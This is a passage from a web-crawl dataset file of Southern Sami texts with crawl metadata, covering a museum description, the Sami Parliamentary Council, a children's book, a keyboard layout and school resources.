maahta mov syjhtede seammalaakan sjïdtedh maam Jesus åålegh mijjien elmien aahtjan jeahta.\nGaajhkh kristegassjh gaajhkene tïjjine jïh gaajhkene sijjesne Åejvien rohkelassem rohkelieh lea dan jeenjemes konkreete væhta abpe dan veartenevijries gærhkoe iktedieh Kristusen luvnie. Daesnie jïh daelie mijjieh bööresåvva meatan dennie væhtesne.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.svenskakyrkan.se\/mijjen-aehtjie","date":"2023-06-01T16:48:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647895.20\/warc\/CC-MAIN-20230601143134-20230601173134-00295.warc.gz","language":"sma","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999960660934448}","num_words":669,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien Sijten bïjre\nSaemien Sijte lea åarjelsaemien museume jïh kultuvrejarnge Snåasesne. Saemien Sijte lea aaj gaavnedimmiesijjie ovmessie darjomes. Åarjel Saepmie leah Raaneste Engerdalese.\nSaemien Sijten nasjonaale dïedte lea åarjelsaemien kultuvrem vïhtesjidh, vaarjelidh, dotkedh jïh saarnodh. Aerpiemaahtoeh, histovrije jïh kultuvremojhtesh registreeredh leah aalkoevistie, jaepien 1964 raajeste vihkeles årreme. Nænnoestehtedh åarjelsaemien identiteetem, gïele, ektievoetem jïh båetije biejjieh leah kultuvregyhtjelassh maam Saemien Sijte museumsbarkoem baalte barka. Daeverereerenassem lea akten Saemien Sijten vihkielommes barkoe. Dellie mijjieh daeverh, guvvieh, filmh, tjoejh, våarhkoeh, kåanste jïh båeries gåetieh åadtjoejibie jïh vöörhkelibie.\nSaemien Sijten lea medtie 500 daeverh, jïh edtja medtie 160 daeverh Norsk Folkemuseumistie jïh Kulturhistoriske museumistie Oslosne åadtjodh Bååstede-prosjektesne. Smaave jïh stoerre dåehkieh åadtjoeh Saemien Sijtese båetedh jïh skuvleklaassh, sïelth jïh turisth maehtieh dorjehtimmiem åadtjodh.\nFïerhten jaepien Saemien Sijte ovmessieh kulturelle jïh faageles öörneme utnieh. Fïerhten nubpien jaepien Tjaktjen Tjåanghkoe – åarjelsaemien tjaktjefestivaale ovmessie Snåasen institusjovnh ektesne öörnesåvva.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/saemiensijte.no\/sami\/om-saemien-sijte\/","date":"2023-06-07T04:55:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224653608.76\/warc\/CC-MAIN-20230607042751-20230607072751-00478.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999992847442627}","num_words":138,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.225,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sadh seamma maam galkh darjodh bolle beapmoeh daarpesje jis galkh åajsodh. Beapmojste bolle gaarhkh åådtje. Beapmoej sisvege dle tjaetsie, protein, karbohydraath, buejtie, vitamijnh jïh mineraalh. Gaajhkh dejtie biehkieh aevhkie bollese. Jis galkh dejtie nahtadidh tjoerh beapmoem voestegh njaelmesne njeervedh. Baenie, njoektjeme jïh tjalkh beapmoem sueskieh juktie vååjnoes goh kraavhtse. Njaelmeste tjovven tjirrh tjåajjan jåhta. Tjåejjesne jïh luhkiegööktegïeten tjåelesne dïhte kraavhtse jeatjah nahtadimmietjaetsine bleentesovvin, destie siegkiestjåalan gusnie nuhteges biehkieh bollese juhtieh vïrren tjirrh. Minngemes maam aajmene dle voeresbuajtan jakseme jïh destie vualka goh bajhke.","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/prod.ovttas.no\/node\/5137","date":"2023-09-24T03:37:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506559.11\/warc\/CC-MAIN-20230924023050-20230924053050-00894.warc.gz","language":"sma","language_score":0.9999856949,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999856948852539}","num_words":83,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.048,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Julevsaemien båaloebuertien hammoeh\nSaemien boktsaavh leah naemhtie mïerhkesjamme orange duekie. Dah båaloeh gusnie saemien bokstaavh, dejtie aaj daej båaloejgujmie jaksh AltGr: diedtieh AltGr + dam saemien bokstaavem jis sïjhth åadtjodh dam bokstaavem, mij lea daelie sjïere båaloem åådtjeme.\nVuesiehtæmman: gosse Q, diedtieh AltGr + Á.\nGaajhkh dah jeatjah bokstaavh jïh væhtah leah seamma sijjesne goh daaroen båaloebuertesne.\nJulevsaemien, Nöörje (Windows)\nJulevsaemien, Nöörje (macOS)\nJulevsaemien, Sveerje (Windows & macOS)","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/divvun.no\/sma\/keyboards\/layout-smj.html","date":"2023-09-30T12:42:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510676.40\/warc\/CC-MAIN-20230930113949-20230930143949-00731.warc.gz","language":"sma","language_score":0.999985218,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999852180480957}","num_words":65,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n1997\nGiele\nISBN\n9177160924\nFormaate\nSïejhme gærja\nReakta-aajhtere\nMarcus Hedström, Wayland Ltd.\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n35\nManne måeresne lea åarjelsaemien gærja maanan måerie bïjre jïh guktie maana dåemede gosse måarehke.\nGærja domtesidie buerkeste, guktie maana gosse måarehke, maam jeahta jïh dåemede. Gærjesne saakeste maam maana jïjtje maahta dorjedh guktie ij dan måarehke sjædta.\nGærjan minngiegietjesne lea bïhkedimmie eejhtegidie jïh lohkehtæjjide, guktie maanam maehtieh viehkiehtidh jïjtse måerine barkedh, dovne guktie maana jïjtse domtesigujmie -jïh guktie jeatjaj vööste dåemede.\nGærja aaj noerhtesaemiengïelese gååvnese.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/girji_manne-maeresne","date":"2023-09-21T14:33:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506028.36\/warc\/CC-MAIN-20230921141907-20230921171907-00443.warc.gz","language":"sma","language_score":0.9999996424,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999996423721313}","num_words":84,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien vuajnoen tjïrrh Tomas Colbengtson teemah bæjjese vaalta goh mujhteme jïh kolonijehistovrije Saepmien sveerjen bielesne. Colbengtsonen vuesiehtimmie Goh tjoevke jih soejvene soptseste (Vad ljus och skugga berättar) tjoevkesem beaja persovneles jïh ektie soptsesidie åejvieladtji daaresjimmien bïjre aalkoeåålmegi vööste. Vierhkieh lea kulturelle dïedtelgimmien bïjre goh nærhtome saemien gïelen, religijovnen jïh båatsoen vööste. Joekoen dïhte vaenie åehpies soptsese sveerjen staaten bïjre mij saemide tjabrehti jåhtajidh noerhtesaemien dajvijste åarjelsaemien dajvide 1900-låhkoen aalkoelisnie. Akte dahkoe mij vigkieh sjugniedi mah annje jielieminie jïh almetjh baajnehtieh.\nSoptsestalleme Tomas Colbengtsonen jïh dr. Liisa-Rávná Finbogen gaskem lea vuesiehtimmiesavkesne, jïh sæjhta jienebh dejstie soptsesijstie tjeahpoevierhkijste lutnjedh. Vierhkieh dovne almetji jïh seabradahken bïjre soptsestieh mah leah politihkeles jïh fysiske daaresjimmieh dååjreme, viehkine naeliebiologeles dotkemistie, nærhtome saemien gïelen jïh kulturelle gïehtelimmien vööste, jïh sualadimmie jïjtsh årromedajvijste. Colbengtsonen vierhkieh seamma tïjjen åvtese vuajna håhkojne, åarjelsaemien kultuvre van jielieminie. Guktie Colbengtsonen vierhkieh maehtieh viehkine årrodh aktene jealajehtiemisnie?\nSoptsestalleme sæjhta dan gaavhtan aaj Saetniesvoete- jïh liktemekommisjovnen reektehtsen bïjre årrodh, maam bæjhkoehti ruffien daan jaepien. Daelie saetniesvoetekommisjovne aaj Sveerjesne barkeminie edtja goerehtalledh jïh daajroem geerjehtidh saemien histovrijen jïh politihkeles daaresjimmiej bïjre mah leah saemiej vööste sveerjen bielesne dorjesovveme. Sijhtebe aaj mïerhkesjidh daelie vielie goh 700 biejjieh vaaseme mænngan Jollemesreakta dåapmoem Fovsen-aamhtesisnie böökti, men maam staate ij krööhkesth.\nSoptsestalleme vaasa medtie 50 minudth jïh mænngan maahta gyhtjelassh gihtjedh. Aalkoebaakoe Raisa Porsangerinie, kuratovre jïh gaskesadtemen tjåadtjoehtæjja Tjiehpiedæjjasiebresne.\n→ Lohkh vielie vuesiehtimmien bïjre daesnie.\nGærja Faamoe (2019) Tomas Colbengtsonen tjiehpiedæjjavoeten bïjre lea doekemasse gallerijesne.\nTomas Colbengtson (r. 1957, Dearna, Sveerje) lea åarjelsaemien guvvietjiehpiedæjja ööhpehtimmine jïlleskuvleste Konstfack (MFA), 1991. Boelhken 1998-2008 lij resident artist jïlleskuvlesne Kungliga Tekniska Högskolan Stuehkesne. Colbengtson lea tseegkije prosjekteste Sápmi Salasta- Saepmie feerhmie.\nDïhte vuesiehtimmieh åtneme dovne Saepmesne, Skandinavijisnie jïh ålkoelaantesne, ajve 2022 mænngan satne vuesiehtimmieh åtneme gelline sijjine, dej gaskem Sámi Dáiddaguovddáš\/Samisk Senter for Samtidskunst i Karasjok, Scandinavian House, New York, National Nordic Museum, Seattle, Enter ArtFair, København, Galleri Helle, Stuehkie, Museum Cerny, Bern, Sveits, jïh Saemien Sïjte Snåasesne, juktie naakenh neebnedh.\nDr. Liisa-Rávná Finbog lea saemien arkeologe, museologe jïh vytnesjæjja Osloste, Vaapsteste jïh Skániteste Saepmien nöörjen bielesne. Finbog sov vytnesjimmiem akademihkeles barkojne ektede jïh saemien epistemologijem ektede jalletje akademijine. Dïhte dåakteregraadem bæjhkoehti museologijen sisnjelen UiO:sne 2021 tjaaleginie It Speaks to You gusnie tseahkan gaskem museumh, saemien identiteeth jïh duedtiem vuartasji. Doh minngemes jaepieh dïhte postdåaktarinie barkeme universiteetesne Tamperisnie, Soemesne, jïh kuratovrine orreme Sámi Pavilionesne Venecia biennalesne 2022. Beaska Niillasine jïh Timimie Märakine ektine lea siebriem Hásttuheaddji Collective tseegkeme.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/kunstnerforbundet.no\/arrangementer\/oslo-art-weekend-tjiehpiedaejjasoptsestalleme-gaskem-tomas-colbengtson-jih-liisa-ravna-finbog","date":"2023-09-29T07:08:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510498.88\/warc\/CC-MAIN-20230929054611-20230929084611-00392.warc.gz","language":"sma","language_score":0.9998676777,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998676776885986}","num_words":385,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Irhkemetjirkije lea regijonaale tjirkije mij edtja maanaj jïh noeri reaktah maanagïertesne jïh maadthskuvlesne, jïh learohki jïh lïerehtæjjaj reaktah jåarhkelïerehtimmesne.\nIrhkemetjirkije raerieh jïh bïhkedimmiem vadta maanide, noeride, eejhtegidie jïh skuvlide guktie learohki reakta akten jearsoe jïh hijven skuvlebyjresasse gorresåvva.\nTjirkijh lea jïjtjeraarehke vierhtiealmetjh sjaevehtsvoetedïedtine. Akte faalenasse mij lea aelhkie jaksedh mij edtja maanide jïh noeride viehkiehtidh geerve tsiehkine. Lissine heerredimmine berkieh jïh kuvsjh jïh håalomh hööltieh ovmessie suerkine.\nLohkh vielie irhkemetjirkiji bïjre nedtesijjesne jïh guktie dah maehtieh viehkine årrodh ovmessie suerkine. Desnie aaj tjirkiji gaskesadtemebïevnesh dov regijovnesne.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/lierehtimmie\/skuvlebyjrese-jih-skuvleevtiedimmie\/irhkemetjirkije\/","date":"2023-09-29T01:21:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510462.75\/warc\/CC-MAIN-20230928230810-20230929020810-00256.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":86,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.198,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SPR:n ståvroe\nHåkan Jonsson, presideente SPR (Sveerjen Saemiedigkie)\nSilje Karine Muotka, mubpiepresideente SPR (Nöörjen Saemiedigkie)\nTuomas Aslak Juuso, mubpiepresideente SPR (Soemen Saemiedigkie)\nBeaska Niillas, ståvroelïhtsege (Nöörjen Saemiedigkie)\nPer-Olof Nutti, ståvroelïhtsege (Sveerjen Saemiedigkie)\nAnni Koivisto, ståvroelïhtsege (Soemen Saemiedigkie)\nSPR:n lïhtsegh\nVeejesovveme Nöörjen Saemiedigkeste 2021-2025:\nSilje Karine Muotka, saemiedigkiepresidente jïh SPR:n presideente\nBeaska Niillas (persovneles sæjjasadtje: Lisa Marit Pentha-Stavsøien)\nMaren Benedicte Nystad Storslett (persovneles sæjjasadtje: Mathias Eilert Olsen)\nAili Guttorm (persovneles sæjjasadtje: Tor Gunnar Nystad)\nToril Bakken Kåven (persovneles sæjjasadtje: Ulf Tore Johansen)\nRonny Wilhelmsen (persovneles sæjjasadtje: Ann-Britt Eira Sara)\nMikkel Eskil Mikkelsen (persovneles sæjjasadtje: Hans Ole Eira)\nVeeljesovveme Sveerjen Saemiedigkeste boelhken 2021-2025:\nHåkan Jonsson (persovneles sæjjasadtje: Lars-Jonas Johansson)\nStefan Mikaelsson (persovneles sæjjasadtje: Martin Lundgren)\nNaadja Östergren (persovneles sæjjasadtje: Marie Persson Njaita)\nVeronika Håkansson (persovneles sæjjasadtje: Karin Mannela)\nPer Olof Nutti (persovneles sæjjasadtje: Marianne Gråik)\nKáren-Ann Hurri (persovneles sæjjasadtjea: Ida Inga)\nLars Miguel Utsi (persovneles sæjjasadtje: Karin Vannar)\nVeeljesovveme Soemen Saemiedigkeste boelhken 2020-2023:\nTuomas Aslak Juuso (persovneles sæjjasadtje mænngan veeljesåvva)\nAnne Nuorgam (persovneles sæjjasadtje: Asko Länsman)\nPirita Näkkäläjärvi (persovneles sæjjasadtje: Magreta Sara)\nKaren-Anni Hetta (persovneles sæjjasadtje: Irja Seurujärvi-Kari)\nTauno Lietoff (persovneles sæjjasadtje: Veikko Feodoroff)\nNiko Valkeapää (persovneles sæjjasadtje: Ulla-Maarit Magga)\nAnni Koivisto\nÖörneme\nSaemien parlamentarihkeles raerie (SPR) lea parlamentarihkeles laavenjostoeårgaane gaskem Soemen Saemiedigkie (tseegkeme 1973\/1996), Nöörjen Saemiedigkie (tseegkeme 1989) jïh Sveerjen Saemiedigkie (tseegkeme 1993). SPR tseegkesovvi njoktjen 2.b. 2000 Nöörjen Saemiedigkeste jïh Soemen Saemiedigkeste. Sveerjen Saemiedigkie meatan sjïdti laavenjostosne voerhtjen 25.b. 2002. Saemien årganisasjovnh Russlaanten bielese mah tjirkijh utnieh Saemieraeresne leah ihkuve lïhtsegh SPR-laavenjostosne 2003 raejeste (Barkoeöörnege, § 12). Daate sæjhta jiehtedh dah leah meatan stoerretjåanghkojne soptsestimmie- jïh raeriestimmiereaktine. Åvtelen 2003 dah lin vïhtesjæjjah stoerretjåanghkojne. Dah jïjtjh dam tjirkijem nammoehtieh mij edtja tjirkijinie årrodh årganisasjovnesne SPR:n stoerretjåanghkosne jïh jeatjah SPR-tjåanghkojne.\nParlamentarihkeles laavenjostoe Saemien parlamentarihkeles raerien tjirrh aktem latjkoem våaroeminie åtna laavenjostoen bïjre saemiedigkiej gaskem Saemien parlamentarihkeles raerien tjirrh, nænnoestamme goevten 25.b. 2002, jïh Saemien parlamentarihkeles raerien barkoeöörnege, nænnoestamme 6.5.03, jarkelamme 6.3.2007. Latjkoen ulmie lea ihkuve laavenjostose saemiedigkiej gaskem sjïehteladtedh aamhtesinie mah leah saemiej bïjre jieniebinie staatine jallh saemiej bïjre goh akte åålmege. Ulmie lea aaj sjïehteladtedh guktie saemieh edtjieh maehtedh vaarjelidh jïh evtiedidh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem fïerhten nasjonaalestaaten sisnjelen, jïh saemieh goh akte åålmege jieniebinie staatine edtjieh maehtedh sijjen gïelem, kultuvrem jïh siebriedahkejieledem vaarjelidh jïh evtiedidh bielelen heaptoe staateraastijste (latjkoen art.1.).\nSaemien parlamentarihkeles raeresne 21 parlamentarihkerh, veeljesovveme saemiedigkijste Soemesne, Nöörjesne jïh Sveerjesne jïjtsh almetjeveeljeme tjirkiji gaskem. Fïerhte saemiedigkie 5 tjirkijh raaran veeljie akten boelhkese mij ryöhkoe 4 jaepieh. Veeljeme dorjesåvva voestes stoerretjåanghkosne saemiedigkieveeljemen mænngan. Lissine aaj saemiedigkiej åejvieh saemiedigkiej reerije årgaanijste raerien stoerretjåanghkosne. Seamma lea faamosne akten lïhtsegasse fïerhtede saemiedigkien ståvrojste\/raerijste maam ståvroe\/raerie jïjtje nammohte. Saemieh Russlaanten bieleste leah meatan stoerretjåanghkojne 2 tjirkijigujmie, mejtie saemien årganisasjovnh mah leah lïhtsegh Saemieraeresne veeljieh, daelie Guoládaga Sámiid Searvi (GSS) jïh Murmánska guovllu Sámisearvi (OOSMO).\nStoerretjåanghkoe lea raerien bijjemes faamoeårgaane. Dïhte reerije ståvroe SPR:sne lea ektieståvroe jïh desnie 6 tjirkijh, jïh dej gaskem saemiedigkiej reerije årgaani åvtehkigujmie. Doh golme jeatjah tjirkijh veeljesuvvieh SPR:ste, aktine tjirkijinie fïerhtede saemiedigkeste.\nSPR jïjtje sov presideentem jïh göökte mubpiepresideenth veeljie. Doh golme saemiedigkieh molsestellieh åvtehkinie årrodh fïereguhten aejkien. Nöörjen Saemiedigkie SPR:n åvtehkem åtna tsïengelen 2021 raejeste jïh unnemes 16 askh.\nSaemien parlamentarihkeles raerie ij jijtse budsjedtem utnieh, men lea saemiedigkien sïejhme budsjedtemieriej nualan bïejesovveme. Gosse Saemien parlamentarihkeles raerie tseegkesovvi råårestallin Saemien parlamentarihkeles raerie ij edtjh jïjtse tjaelemegoevtesem utnedh jïjtsh barkoevierhtiejgujmie.\nTjaelemegoevtesefunksjovne edtja dam saemiedigkiem fulkedh mij presideentem åtna (barkoeöörnege, § 6).\nSaemien parlamentarihkeles raerien barkoesuerkieh\nSaemien parlamentarihkeles raerien barkoesuerkie lea gaajhkh aamhtesh mah raerien mïelen mietie leah saemiej bïjre jallh maehtieh saemiej bïjre årrodh goh akte åålmege (latjkoen artihkele 4). Raerie edtja viehkiehtidh ektiedidh dam politihkeles gïetedimmiem aamhtesijstie mah leah saemiej bïjre jallh maehtieh saemiej bïjre årrodh jieniebinie staatine jallh saemieh goh akte åålmege. Raerie edtja aaj viehkiehtidh jeatjah praktihkeles laavenjostoevuekieh saemiedigkiej gaskem evtiedidh. Raerie edtja saemiej åvteste årrodh Soemesne, Nöörjesne jïh Sveerjesne noerhtelaanti jïh jeatjah gaskenasjonaale ektiedimmine, jïh lissine gaajhkine tsiehkine gusnie gaavna daerpies dagkeres ektie representasjovnine (latjkoen artihkele 3).\nFïerhtene stoerretjåanghkosne SPR jïjtse dahkoesoejkesjem nænnoste ulmiejgujmie jïh råajvarimmiejgujmie mah otnjegem biejieh Saemien parlamentarihkeles raerien barkose. Dahkoesoejkesje mij lea faamosne daelie nænnoestamme sjïdti suehpeden 20. b. 2022. Åejvieulmie dahkoesoejkesjisnie lea saemiedigkiej laavenjostoem nænnoestidh SPR:n tjirrh jïh SPR:n mierietsiehkide nænnoestidh. Daate sæjhta jiehtedh Saemien parlamentarihkeles raerien ekonomijem jïh tjaelemegoevtesefunksjovnem\/reeremem nænnoestidh.\nDaan boelhken SPR joekoen daejtie aamhtesesuerkide dahkoesoejkesjisnie prioritereede:\n- Barkoe Noerhtelaanti saemiekonvensjovnine\n- gïeleaamhtesh\n- iktedimmie saemiedigkieveeljemijstie Soemesne, Nöörjesne jih Sveerjesne\n- tjïelke raasteheaptoeh saemien dajvine identifiseeredh dejnie ulmine rasteheaptoeh båarhte vaeltedh jïh nåhkehtidh mah laavenjostoem saemien dajvine heerredieh\n- raastendåaresth laavenjostoe ektie strategijen bïjre juvrepolitihkesne\n- galhkuvetjaatsegem WCIP:ste bæjjese fulkedh\nStåvroe edtja fïerhtene stoerretjåanghkosne statusereektehtsem buektedh jïh reektedh dan guhkiebasse barkoen bïjre dahkoesoejkesjen råajvarimmijste. Ij naan reerije jarkelimmieh sjïehteladth SPR:n sisnjelen daan dahkoesoejkesjen gaavhtan. Gaajhkh råajvarimmieh mejtie ållermaahta dahkoesoejkesjisnie maaksasuvvieh saemiedigkiej sïejhme reerije vierhtiej jïh budsjedtemieriej sisnjeli.\nSPR:en dahkoesoejkesje (PDF, 67 kB)\nSPR:n tjaånghkoegærja 01-22 - Saemien parlamentarihkeles raerien stoerretjåanghkoe suehpeden 20. b. 2022 Inarisne (PDF, 170 kB)\nGamte gaskenasjonaale barkoe\nSaemien parlamentarihkeles raerie lea tseegkemen mænngan eadtjohke orreme gaskenasjonaale barkosne, jïh gaskem jeatjah jïjtse strategijem nænnoestamme sov råållan jïh meatanårromen bïjre (nænnoestamme SPR 07\/03). Aaj sjæjsjalamme saemiedigkiej barkoe gaskenasjonaale aamhtesigujmie edtja saemiedigkiej representasjovnen tjirrh juhtedh Saemien parlamentarihkeles raeresne. SPR:n guhkiebasse ulmie lea åadtjodh frijjelaakan jïh jïjtjeraarehke meatan årrodh tjåanghkojne jïh prosessine mah leah aalkoeåålmegi bïjre.\nSaemien parlamentarihkeles raerie lea 2001 raejeste meatan orreme Arktiske parlamentarihkerelaavenjostosne goh ihkuve lïhtsege Arktiske ihkuve parlamentarihkeremoenhtsisnie, mij lea Arktiske raerien parlamentarihkeles vuestiebielie. Moenehtse gaavnede njeeljh jaepien, jïh desnie 1-2 lïhtsegh fïerhtede lihtsegeparlamentijste. Fïerhten mubpien jaepien arktiske parlamentarihkerekonferanse öörnesåvva gusnie SPR lea meatan jïjtjse delegasjovnine. 11. parlamentarihkerekonferanse öörnesovvi skïereden 2014 jïh dellie galhkuvetjaatsegem nænnoesti. Arktiske parlamentarihkerelaavenjostosne tjirkijh dejstie vïjhte noerhtelaanti parlamentijste jïh parlamentijste Canadasne, Russlaantesne jïh USA:sne jïh Europaparlameenteste.\nSPR akkrediteradimmiem vïhtesjæjjine åadtjoeji 2011 WIPO:n gaskestaateles moenehtsisnie immaterijellereaktan, gentihkeles vierhtiej, aerpievuekien daajroen jïh folkoren bïjre (IGC-GRTKF).m immaterialrett, genetiske ressurser, tradisjonell kunnskap og folklore (IGC-GRTKF).\nSaemiedigkieh vïhtesjæjjastatusem utnieh Noerhtelaanti raeresne jïh maehtieh lahtesh buektedh generaledigkiedimmesne dennie sïejhme sesjovnesne mij öörnesåvva tjaktjege fïerhten jaepien. SPR-presideente aaj bööresåvva meatan årrodh Noerhtelaanti raerien teemasesjovnine. Saemien parlamentarihkeles raerie lea syökeme ellies lïhtseginie sjïdtedh Noerhtelaanti raeresne 2014. Noerhtelaanti raerie lea dïhte byögkeles noerhtelaanti laavenjostoen parlamentarihkeles årgaane, tseegkeme 1952. Raerien leah 87 veeljeme lïhtsegh Danmarhkeste, Soemeste, Islaanteste, Nöörjeste jïh Sveerjeste, jïh Færsåålijste, Kruanalaanteste jïh Ålaanteste. Sesjovnh leah forume gusnie doh noerhtelaanti parlamentarihkerh noerhtelaanti gyhtjelassh digkiedieh noerhtelaanti laanti staateministerigujmie jïh faageministerigujmie.\nSaemieparlamentarihkerekonferanse\nFïerhten gåalmeden jaepien saemieparlamentarihkerekonferanse öörnesåvva, gusnie politihkerh saemiedigkijste jïh tjirkijh saemien organisasjovnijste Russlaantesne leah meatan.\nDaesnie saemieparlamentarihkerekonferansh öörnesovveme: Jåhkåmåhkke\/Jokkmokk (2005), Ruávinjargâ\/Rovaniemi (2008), Kirkonjárga\/Kirkenes (2011) jïh Umeå\/Ubmeje (2014). Vïjhtede konferanse lij Tråantesne goevten 7.b. 2017. Coronopandemijen gaavhtan govhtede parlamentarijekånferensem 2020 idtji maehtieh dam utnedh jïh dam Aanarisnie suehpeden 19. b. 2022 öörrnesovvin. Tjïtjede konferanse lij Árviesjávrriesnie suehpeden 30.-31. b. 2023.\nSamiske parlamentarikere på den 7. parlamentarikerkonferansen i Árviesjávrrie\/Arvidsjaur\nKent Norberg","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/politihke\/politihkeles-oornedimmie-jih-stuvreme\/saemien-parlamentarihkeles-raerie-spr\/","date":"2023-09-22T15:42:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506420.84\/warc\/CC-MAIN-20230922134342-20230922164342-00239.warc.gz","language":"sma","language_score":0.9998289943,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9998289942741394}","num_words":1042,"character_repetition_ratio":0.131,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjassh tjihtesasse «Goh soeve», maam Jaahkenelkien Aanna tjaaleme, gærjeste «Mijjen Gïele» (2013).\nLohkh tjihtesem «Goh soeve» maam Jaahkenelkien Aanna lea tjaaleme jïh vaestedh gyhtjelasside.\nGie tjaelije jïh gubpede bööti?\nGiejtie tjaelije tjaala, gïeh dåastojh?\nMan bïjre tjihtese\/dikte? Buerkesth åenehkslaakan jïjtjedh baakoejgujmie.\nMah åssjaldahkh tjaelije buakta, jïh man åvteste, datne vïenhth?\nMaam maehtebe daan biejjien vuejnedh dovletje saemiej jieliedistie?\nSaemien lohkije tjihtesem\/diktem seammalaakan guarkoe goh dah mah eah saemieh, datne vïenhth?\nGuktie saemiej jieleme jïh kultuvre båetije biejjide sjædta, datne vïenhth?","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:a498e9f2-b8d8-4bc3-b695-a6855e229edc","date":"2023-09-22T08:20:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00218.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":79,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rapport fra prosjekt i Frogn kommune som har hatt et ønske om felles rutiner og god pedagogikk ved oppstart i barnehagene for barn med flerspråklig bakgrunn og som har søkt Statped om hjelp til et utviklingsprosjekt.\nSmåbarns hverdag digitaliseres i stadig større grad, og digital kompetanse er viktig i dagens informasjonssamfunn.\nArtikkel om hvordan lykkes med matematikkopplæringen for eldre elever der ulike tiltak ikke har gitt økt læring.\nThis paper addresses some findings and experiences from The Juvenile Neuronal Ceroid Lipofuscinosis and Education Project (2014–2017). Juvenile Neuronal Ceroid Lipofuscinosis (JNCL) is also called CLN3 disease, Spielmeyer-Vogt Syndrome and Batten Disease.\nBïhkedimmesne tjïelkeste guktie maahta systeemen mietie barkedh daajehtselïereminie, dovne maanagïertesne jïh skuvlesne.\nBagádusán tjielggiduvvá gåktu máhttá systemáhtalattjat buojkuldakoahppamijn barggat sihke mánájgárden ja skåvlån.\nGielalaš guorahallan 1 lea skrinengeahččaleapmi mas guorahallo oasáš máná aktiivvalaš sátnevuorkkás.\nGïeleldh Teestese 1 lea aelhkies screeninge- goerehtimmie gusnie smaave dajvesne maanan biejjieladtje baakoevåarhkosne vååksje.\nEarly Years Movement Skills Checklist (EYMSC) er en motorisk sjekkliste som er utviklet for å kunne identifisere og vurdere 